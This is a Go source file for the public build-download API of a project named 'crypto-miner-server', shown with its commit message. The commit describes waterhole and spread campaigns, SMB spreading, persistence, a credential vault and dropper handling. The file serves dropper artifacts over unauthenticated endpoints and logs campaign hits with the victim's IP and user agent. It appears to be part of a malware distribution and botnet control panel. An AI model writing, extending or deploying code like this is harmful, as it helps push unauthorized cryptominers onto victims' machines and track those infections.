Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
149 lines
4.0 KiB
Go
149 lines
4.0 KiB
Go
package api
|
|
|
|
import (
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// PublicBuildsConfig supplies public-download policy from server config.
|
|
type PublicBuildsConfig struct {
|
|
Enabled bool
|
|
LatestN int
|
|
}
|
|
|
|
// PublicHandler serves unauthenticated build listing and download endpoints.
|
|
type PublicHandler struct {
|
|
db *dbpkg.Database
|
|
dataDir string
|
|
configFn func() PublicBuildsConfig
|
|
}
|
|
|
|
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
|
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
|
|
}
|
|
|
|
type publicBuildDTO struct {
|
|
ID string `json:"id"`
|
|
WorkerName string `json:"worker_name"`
|
|
Platform string `json:"platform"`
|
|
FileName string `json:"file_name"`
|
|
FileSize int64 `json:"file_size"`
|
|
BundleSize int64 `json:"bundle_size"`
|
|
DownloadURL string `json:"download_url"`
|
|
CreatedAt string `json:"created_at"`
|
|
Pinned bool `json:"pinned"`
|
|
Public bool `json:"public"`
|
|
}
|
|
|
|
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
|
|
dl := b.DownloadURL
|
|
if dl == "" {
|
|
dl = "/api/v1/public/download/" + b.ID
|
|
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
|
|
// Rewrite authenticated artifact path to public when listed
|
|
if strings.Contains(dl, "/artifact/") {
|
|
parts := strings.Split(dl, "/artifact/")
|
|
if len(parts) == 2 {
|
|
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
|
|
}
|
|
} else {
|
|
dl = "/api/v1/public/download/" + b.ID
|
|
}
|
|
}
|
|
return publicBuildDTO{
|
|
ID: b.ID,
|
|
WorkerName: b.WorkerName,
|
|
Platform: b.Platform,
|
|
FileName: b.FileName,
|
|
FileSize: b.FileSize,
|
|
BundleSize: b.BundleSize,
|
|
DownloadURL: dl,
|
|
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
|
|
Pinned: b.Pinned,
|
|
Public: b.Public,
|
|
}
|
|
}
|
|
|
|
// GET /api/v1/public/builds
|
|
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
|
cfg := h.configFn()
|
|
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
dtos := make([]publicBuildDTO, 0, len(builds))
|
|
for _, b := range builds {
|
|
dtos = append(dtos, toPublicBuildDTO(b))
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"builds": dtos,
|
|
"public_builds_enabled": cfg.Enabled,
|
|
"latest_n": cfg.LatestN,
|
|
})
|
|
}
|
|
|
|
// GET /api/v1/public/download/{id}
|
|
// GET /api/v1/public/download/{id}/artifact/{name}
|
|
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "build id required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
cfg := h.configFn()
|
|
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
|
|
if err != nil || !ok {
|
|
http.Error(w, "build not available for public download", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
if c := r.URL.Query().Get("c"); c != "" {
|
|
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
|
|
}
|
|
|
|
build, err := h.db.GetBuild(id)
|
|
if err != nil {
|
|
http.Error(w, "build not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
artifactName := chi.URLParam(r, "name")
|
|
if artifactName != "" {
|
|
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
|
|
if _, err := os.Stat(path); err != nil {
|
|
http.Error(w, "artifact not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
|
|
http.ServeFile(w, r, path)
|
|
return
|
|
}
|
|
|
|
path, name := resolveDropperArtifact(h.dataDir, build)
|
|
if path == "" {
|
|
http.Error(w, "artifact missing on disk", http.StatusNotFound)
|
|
return
|
|
}
|
|
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
|
|
http.ServeFile(w, r, path)
|
|
}
|
|
|
|
func clientIP(r *http.Request) string {
|
|
ip := r.Header.Get("X-Forwarded-For")
|
|
if ip == "" {
|
|
ip = r.RemoteAddr
|
|
}
|
|
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
|
ip = ip[:idx]
|
|
}
|
|
return ip
|
|
}
|